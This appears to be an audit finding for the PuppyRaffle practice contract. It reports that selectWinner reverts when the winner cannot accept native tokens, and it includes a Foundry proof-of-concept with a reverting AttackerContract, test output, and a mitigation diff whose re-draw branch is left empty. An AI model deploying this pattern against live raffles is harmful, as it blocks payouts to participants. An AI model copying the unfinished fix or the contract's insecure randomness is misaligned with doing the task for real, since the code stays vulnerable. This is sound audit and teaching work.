If the winner of the raffle is unable to receive native tokens, the contract will revert. This results in a state of temporary DoS when calling PuppyRaffle::selectWinner.
Vulnerability Details
In PuppyRaffle::selectWinner, on line 152, if the winner cannot receive the prizePool, the function call reverts:
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
Impact
If the selectWinner() function reverts, a winner will not have been found and will have to be selected again until a winner who can receive native tokens is picked. This is a medium severity finding because there is a temporary DoS until selectWinner() is called and the winner can receive the NFT.
Proof of Concept
Working Test Case
The following contract has a fallback function that reverts when called i.e. when funds are sent to the contract:
contract AttackerContract {
receive() external payable {
revert("I cannot receive native tokens");
}
}
The following test creates 4 instances of this contract and calls enterRaffle() so that all the players cannot receive the prizeFunds. The time has been warped using the warp cheat code and a winner is drawn by calling selectWinner():
function test_poc_winnerCannotReceievePrizeFund() public {
address[] memory players = new address[](4);
AttackerContract attackerContract;
for (uint256 i = 0; i < players.length; i++) {
attackerContract = new AttackerContract();
players[i] = address(attackerContract);
}
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
puppyRaffle.selectWinner();
}
This test will pass when selectWinner() reverts, as expected, with a revert message of "PuppyRaffle: Failed to send prize pool to winner" demonstrating the temporary state of DoS if the winner cannot receive the prizeFunds.
$ forge test --mt test_poc_winnerCannotReceievePrizeFund -vvvv
// output
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_poc_winnerCannotReceievePrizeFund() (gas: 359673)
Traces:
[363886] PuppyRaffleTest::test_poc_winnerCannotReceievePrizeFund()
├─ [28881] → new AttackerContract@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← 144 bytes of code
├─ [28881] → new AttackerContract@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← 144 bytes of code
├─ [28881] → new AttackerContract@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
│ └─ ← 144 bytes of code
├─ [28881] → new AttackerContract@0xc7183455a4C133Ae270771860664b6B7ec320bB1
│ └─ ← 144 bytes of code
├─ [121273] PuppyRaffle::enterRaffle{value: 4000000000000000000}([0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0xc7183455a4C133Ae270771860664b6B7ec320bB1])
│ ├─ emit RaffleEnter(newPlayers: [0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0xc7183455a4C133Ae270771860664b6B7ec320bB1])
│ └─ ← ()
├─ [0] VM::warp(86402 [8.64e4])
│ └─ ← ()
├─ [0] VM::expectRevert(PuppyRaffle: Failed to send prize pool to winner)
│ └─ ← ()
├─ [54762] PuppyRaffle::selectWinner()
│ ├─ [144] AttackerContract::receive{value: 3200000000000000000}()
│ │ └─ ← "I cannot receive native tokens"
│ └─ ← "PuppyRaffle: Failed to send prize pool to winner"
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.12ms
As observed above, selectWinner() reverted as expected, and no one has won the raffle.
Recommended Mitigation
Include an if, else, and if the low-level call to send the funds reverts, and re-draw the winner, discounting the previousWinner:
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // @audit do NOT use block.timestamp for randomness
// you blithering idiot
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;// NOTE: precision loss with divide by 100 - where do the nextra funds go?
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee); // overflow if totalFees > 18.446744073709553ETH & fee > 18.446744073709553ETH only increment a tiny amount
uint256 tokenId = totalSupply(); // this returns the number of tokenIds
// We use a different RNG calculate from the winnerIndex to determine rarity
// @audit mining addresses -> I can get legendary every time :/
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100; // @audit deterministic randomness again :"(
// NOTE: this isn't even as max value of % 100 is 99
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players; // NOTE: how does delete work & does it do it properly
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}(""); // NOTE: doesn't feel nice
+ if (success) {
+ _safeMint(winner, tokenId);
+ } else {
+ // re-draw the winner
}
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
}
Tools Used
